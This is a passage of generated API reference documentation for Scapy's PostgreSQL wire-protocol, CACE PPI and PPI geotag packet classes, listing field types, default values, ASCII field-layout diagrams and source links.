|               |            PASSWORD           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PasswordMessage                       


PasswordMessage fields






	tag

	ByteTagField

	112



	len

	FieldLenField

	None



	password

	StrLenField

	None















	
class scapy.contrib.postgres.PortalSuspended(_pkt, /, *, tag=115, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L490-L495]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. PortalSuspended                       


PortalSuspended fields






	tag

	ByteTagField

	115



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.PostgresBackend(_pkt, /, *, contents=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L789-L796]

	Bases: _BasePostgres


	
aliastypes

	




	
cls_mapping = {b'1': <class 'scapy.contrib.postgres.ParseComplete'>, b'2': <class 'scapy.contrib.postgres.BindComplete'>, b'3': <class 'scapy.contrib.postgres.CloseComplete'>, b'A': <class 'scapy.contrib.postgres.NotificationResponse'>, b'C': <class 'scapy.contrib.postgres.CommandComplete'>, b'D': <class 'scapy.contrib.postgres.DataRow'>, b'E': <class 'scapy.contrib.postgres.ErrorResponse'>, b'G': <class 'scapy.contrib.postgres.CopyInResponse'>, b'H': <class 'scapy.contrib.postgres.CopyOutResponse'>, b'I': <class 'scapy.contrib.postgres.EmptyQueryResponse'>, b'K': <class 'scapy.contrib.postgres.BackendKeyData'>, b'N': <class 'scapy.contrib.postgres.NoticeResponse'>, b'R': <class 'scapy.contrib.postgres.Authentication'>, b'S': <class 'scapy.contrib.postgres.ParameterStatus'>, b'T': <class 'scapy.contrib.postgres.RowDescription'>, b'V': <class 'scapy.contrib.postgres.FunctionCallResponse'>, b'W': <class 'scapy.contrib.postgres.CopyBothResponse'>, b'Z': <class 'scapy.contrib.postgres.ReadyForQuery'>, b'c': <class 'scapy.contrib.postgres.CopyDone'>, b'd': <class 'scapy.contrib.postgres.CopyData'>, b'n': <class 'scapy.contrib.postgres.NoData'>, b's': <class 'scapy.contrib.postgres.PortalSuspended'>, b't': <class 'scapy.contrib.postgres.ParameterDescription'>, b'v': <class 'scapy.contrib.postgres.NegotiateProtocolVersion'>}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONTENTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PostgresBackend                       


PostgresBackend fields






	contents

	PacketListField

	[]











	
classmethod tcp_reassemble(data, metadata)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L792-L796]

	








	
class scapy.contrib.postgres.PostgresFrontend(_pkt, /, *, contents=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L779-L786]

	Bases: _BasePostgres


	
aliastypes

	




	
cls_mapping = {b'B': <class 'scapy.contrib.postgres.Bind'>, b'C': <class 'scapy.contrib.postgres.Close'>, b'D': <class 'scapy.contrib.postgres.Describe'>, b'E': <class 'scapy.contrib.postgres.Execute'>, b'F': <class 'scapy.contrib.postgres._Todo'>, b'H': <class 'scapy.contrib.postgres.Flush'>, b'P': <class 'scapy.contrib.postgres.Parse'>, b'Q': <class 'scapy.contrib.postgres.Query'>, b'S': <class 'scapy.contrib.postgres.Sync'>, b'X': <class 'scapy.contrib.postgres.Terminate'>, b'c': <class 'scapy.contrib.postgres.CopyDone'>, b'd': <class 'scapy.contrib.postgres.CopyData'>, b'f': <class 'scapy.contrib.postgres.CopyFail'>, b'p': <class 'scapy.contrib.postgres.PasswordMessage'>}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CONTENTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PostgresFrontend                       


PostgresFrontend fields






	contents

	PacketListField

	[]











	
classmethod tcp_reassemble(data, metadata)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L782-L786]

	








	
class scapy.contrib.postgres.Query(_pkt, /, *, tag=81, len=None, query=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L227-L235]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             QUERY             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Query                            


Query fields






	tag

	ByteTagField

	81



	len

	FieldLenField

	None



	query

	StrNullField

	None















	
class scapy.contrib.postgres.ReadyForQuery(_pkt, /, *, tag=90, len=6, status=b'I')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L266-L272]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ReadyForQuery                        


ReadyForQuery fields






	tag

	ByteTagField

	90



	len

	SignedIntField

	6



	status

	CharEnumField

	b'I'















	
class scapy.contrib.postgres.RowDescription(_pkt, /, *, tag=84, len=None, numfields=0, cols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L288-L303]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           NUMFIELDS           |      COLS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. RowDescription                        


RowDescription fields






	tag

	ByteTagField

	84



	len

	FieldLenField

	None



	numfields

	SignedShortField

	0



	cols

	PacketListField

	[]















	
class scapy.contrib.postgres.SSLRequest(_pkt, /, *, length=None, request_code=80877103)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L59-L64]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          REQUEST CODE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SSLRequest                          


SSLRequest fields






	length

	FieldLenField

	None



	request_code

	SignedIntField

	80877103















	
class scapy.contrib.postgres.SignedIntStrPair(_pkt, /, *, len=0, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L183-L190]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SignedIntStrPair                       


SignedIntStrPair fields






	len

	FieldLenField

	0



	data

	StrLenField

	None















	
class scapy.contrib.postgres.Startup(_pkt, /, *, len=None, protocol_version_major=3, protocol_version_minor=0, options=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L88-L97]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROTOCOL VERSION MAJOR    |     PROTOCOL VERSION MINOR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Startup                           


Startup fields






	len

	FieldLenField

	None



	protocol_version_major

	ShortField

	3



	protocol_version_minor

	ShortField

	0



	options

	_DictStrField

	None















	
class scapy.contrib.postgres.Sync(_pkt, /, *, tag=83, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L498-L503]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. Sync                             


Sync fields






	tag

	ByteTagField

	83



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.Terminate(_pkt, /, *, tag=88, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L371-L376]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. Terminate                          


Terminate fields






	tag

	ByteTagField

	88



	len

	SignedIntField

	4















	
scapy.contrib.postgres.determine_pg_field(pkt, lst, cur, remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L134-L149]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ppi_cace

CACE PPI types


	
class scapy.contrib.ppi_cace.PPITSFTField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_cace.py#L31-L52]

	Bases: LELongField


	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_cace.py#L45-L52]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_cace.py#L32-L43]

	








	
class scapy.contrib.ppi_cace.PPI_Dot11Common(_pkt, /, *, TSF_Timer=0, Pkt_Flags=<Flag 0 ()>, Rate=0, Ch_Freq=0, Ch_Flags=<Flag 0 ()>, FHSS_Hop=0, FHSS_Pat=0, Antsignal=-128, Antnoise=-128)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_cace.py#L63-L76]

	Bases: PPI_Element


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_cace.py#L75-L76]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TSF TIMER                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PKT FLAGS           |              RATE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CH FREQ            |            CH FLAGS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FHSS HOP   |    FHSS PAT   |   ANTSIGNAL   |    ANTNOISE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPI_Dot11Common                       


PPI_Dot11Common fields






	TSF_Timer

	PPITSFTField

	0



	Pkt_Flags

	FlagsField

	<Flag 0 ()>



	Rate

	LEShortField

	0



	Ch_Freq

	LEShortField

	0



	Ch_Flags

	FlagsField

	<Flag 0 ()>



	FHSS_Hop

	ByteField

	0



	FHSS_Pat

	ByteField

	0



	Antsignal

	dBmByteField

	-128



	Antnoise

	dBmByteField

	-128















	
class scapy.contrib.ppi_cace.dBmByteField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_cace.py#L21-L28]

	Bases: Field


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_cace.py#L25-L28]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ppi_geotag

PPI-GEOLOCATION tags


	
class scapy.contrib.ppi_geotag.Fixed3_6Field(name, default, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L87-L97]

	Bases: _RMMLEIntField






	
class scapy.contrib.ppi_geotag.Fixed3_7Field(name, default, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L100-L110]

	Bases: _RMMLEIntField






	
class scapy.contrib.ppi_geotag.Fixed6_4Field(name, default, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L113-L123]

	Bases: _RMMLEIntField






	
class scapy.contrib.ppi_geotag.GPSTime_Field(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L152-L155]

	Bases: LETimeField






	
class scapy.contrib.ppi_geotag.HCSIAppField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L247-L249]

	Bases: StrFixedLenField






	
class scapy.contrib.ppi_geotag.HCSIDescField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L242-L244]

	Bases: StrFixedLenField






	
class scapy.contrib.ppi_geotag.HCSIFlagsField(name: str, default: int | FlagValue | None, size: int, names: List[str] | str | Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L205-L221]

	Bases: FlagsField

A FlagsField where each bit/flag turns a conditional field on or off.

If the value is None when building a packet, i2m() will check the value of
every field in self.names.  If the field’s value is not None, the
corresponding flag will be set.


	
i2m(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L213-L221]

	








	
class scapy.contrib.ppi_geotag.HCSINullField(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L224-L226]

	Bases: Field






	
class scapy.contrib.ppi_geotag.HCSIPacket(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L361-L367]

	Bases: PPI_Element


	
aliastypes

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L362-L367]

	








	
class scapy.contrib.ppi_geotag.LETimeField(name, default, epoch=None, strf='%a, %d %b %Y %H:%M:%S %z')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L143-L149]

	Bases: UTCTimeField, LEIntField


	
delta

	




	
epoch

	




	
strf

	








	
class scapy.contrib.ppi_geotag.NSCounter_Field(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L130-L140]

	Bases: _RMMLEIntField






	
class scapy.contrib.ppi_geotag.PPI_Geotag_Antenna(_pkt, /, *, geotag_ver=2, geotag_pad=0, geotag_len=None, present=None, AntennaFlags=None, Gain=None, HorizBw=None, VertBw=None, PrecisionGain=None, BeamID=None, Reserved06=None, Reserved07=None, Reserved08=None, Reserved09=None, Reserved10=None, Reserved11=None, Reserved12=None, Reserved13=None, Reserved14=None, Reserved15=None, Reserved16=None, Reserved17=None, Reserved18=None, Reserved19=None, Reserved20=None, Reserved21=None, Reserved22=None, Reserved23=None, Reserved24=None, Reserved25=None, SerialNumber=None, ModelName=None, DescString=None, AppId=None, AppData=None, Extended=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L435-L447]

	Bases: HCSIPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   GEOTAG VER  |   GEOTAG PAD  |           GEOTAG LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRESENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ANTENNAFLAGS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      GAIN     |                    HORIZBW                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     VERTBW                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 PRECISIONGAIN                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             BEAMID            |RESERVED0|RESERVED0|RESERVED0|RESERVED0|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED1|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|RESERVED2|  SERIALNUMBER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |   MODELNAME   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |   DESCSTRING  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     APPID     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |    APPDATA    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |EXTENDE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PPI_Geotag_Antenna                      


PPI_Geotag_Antenna fields






	geotag_ver

	ByteField

	2



	geotag_pad

	ByteField

	0



	geotag_len

	LEShortField

	None



	present

	HCSIFlagsField

	None



	AntennaFlags

	FlagsField (Cond)

	None



	Gain

	ByteField (Cond)

	None



	HorizBw

	Fixed3_6Field (Cond)

	None



	VertBw

	Fixed3_6Field (Cond)

	None



	PrecisionGain

	Fixed3_6Field (Cond)

	None



	BeamID

	XLEShortField (Cond)

	None



	Reserved06

	HCSINullField (Cond)

	None



	Reserved07

	HCSINullField (Cond)

	None



	Reserved08

	HCSINullField (Cond)

	None



	Reserved09

	HCSINullField (Cond)

	None



	Reserved10

	HCSINullField (Cond)

	None



	Reserved11

	HCSINullField (Cond)

	None



	Reserved12

	HCSINullField (Cond)

	None



	Reserved13

	HCSINullField (Cond)

	None



	Reserved14

	HCSINullField (Cond)

	None



	Reserved15

	HCSINullField (Cond)

	None



	Reserved16

	HCSINullField (Cond)

	None



	Reserved17

	HCSINullField (Cond)

	None



	Reserved18

	HCSINullField (Cond)

	None



	Reserved19

	HCSINullField (Cond)

	None



	Reserved20

	HCSINullField (Cond)

	None



	Reserved21

	HCSINullField (Cond)

	None



	Reserved22

	HCSINullField (Cond)

	None



	Reserved23

	HCSINullField (Cond)

	None



	Reserved24

	HCSINullField (Cond)

	None



	Reserved25

	HCSINullField (Cond)

	None



	SerialNumber

	HCSIDescField (Cond)

	None



	ModelName

	HCSIDescField (Cond)

	None



	DescString

	HCSIDescField (Cond)

	None



	AppId

	XLEIntField (Cond)

	None



	AppData

	HCSIAppField (Cond)

	None



	Extended

	HCSINullField (Cond)

	None











	
hcsi_fields = [<FlagsField (PPI_Geotag_Antenna).AntennaFlags>, <ByteField (PPI_Geotag_Antenna).Gain>, <Fixed3_6Field (PPI_Geotag_Antenna).HorizBw>, <Fixed3_6Field (PPI_Geotag_Antenna).VertBw>, <Fixed3_6Field (PPI_Geotag_Antenna).PrecisionGain>, <XLEShortField (PPI_Geotag_Antenna).BeamID>, <HCSINullField (PPI_Geotag_Antenna).Reserved06>, <HCSINullField (PPI_Geotag_Antenna).Reserved07>, <HCSINullField (PPI_Geotag_Antenna).Reserved08>, <HCSINullField (PPI_Geotag_Antenna).Reserved09>, <HCSINullField (PPI_Geotag_Antenna).Reserved10>, <HCSINullField (PPI_Geotag_Antenna).Reserved11>, <HCSINullField (PPI_Geotag_Antenna).Reserved12>, <HCSINullField (PPI_Geotag_Antenna).Reserved13>, <HCSINullField (PPI_Geotag_Antenna).Reserved14>, <HCSINullField (PPI_Geotag_Antenna).Reserved15>, <HCSINullField (PPI_Geotag_Antenna).Reserved16>, <HCSINullField (PPI_Geotag_Antenna).Reserved17>, <HCSINullField (PPI_Geotag_Antenna).Reserved18>, <HCSINullField (PPI_Geotag_Antenna).Reserved19>, <HCSINullField (PPI_Geotag_Antenna).Reserved20>, <HCSINullField (PPI_Geotag_Antenna).Reserved21>, <HCSINullField (PPI_Geotag_Antenna).Reserved22>, <HCSINullField (PPI_Geotag_Antenna).Reserved23>, <HCSINullField (PPI_Geotag_Antenna).Reserved24>, <HCSINullField (PPI_Geotag_Antenna).Reserved25>, <HCSIDescField (PPI_Geotag_Antenna).SerialNumber>, <HCSIDescField (PPI_Geotag_Antenna).ModelName>, <HCSIDescField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).DescString>, <XLEIntField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppId>, <HCSIAppField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).AppData>, <HCSINullField (PPI_Geotag_GPS,PPI_Geotag_Vector,PPI_Geotag_Sensor,PPI_Geotag_Antenna).Extended>]

	








	
class scapy.contrib.ppi_geotag.PPI_Geotag_GPS(_pkt, /, *, geotag_ver=2, geotag_pad=0, geotag_len=None, present=None, GPSFlags=None, Latitude=None, Longitude=None, Altitude=None, Altitude_g=None, GPSTime=None, FractionalTime=None, eph=None, epv=None, ept=None, Reserved10=None, Reserved11=None, Reserved12=None, Reserved13=None, Reserved14=None, Reserved15=None, Reserved16=None, Reserved17=None, Reserved18=None, Reserved19=None, Reserved20=None, Reserved21=None, Reserved22=None, Reserved23=None, Reserved24=None, Reserved25=None, Reserved26=None, Reserved27=None, DescString=None, AppId=None, AppData=None, Extended=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ppi_geotag.py#L371-L384]

	Bases: HCSIPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   GEOTAG VER  |   GEOTAG PAD  |           GEOTAG LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRESENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GPSFLAGS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LATITUDE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LONGITUDE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ALTITUDE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALTITUDE G                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GPSTIME                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FRACTIONALTIME                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EPH                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EPV                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EPT                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
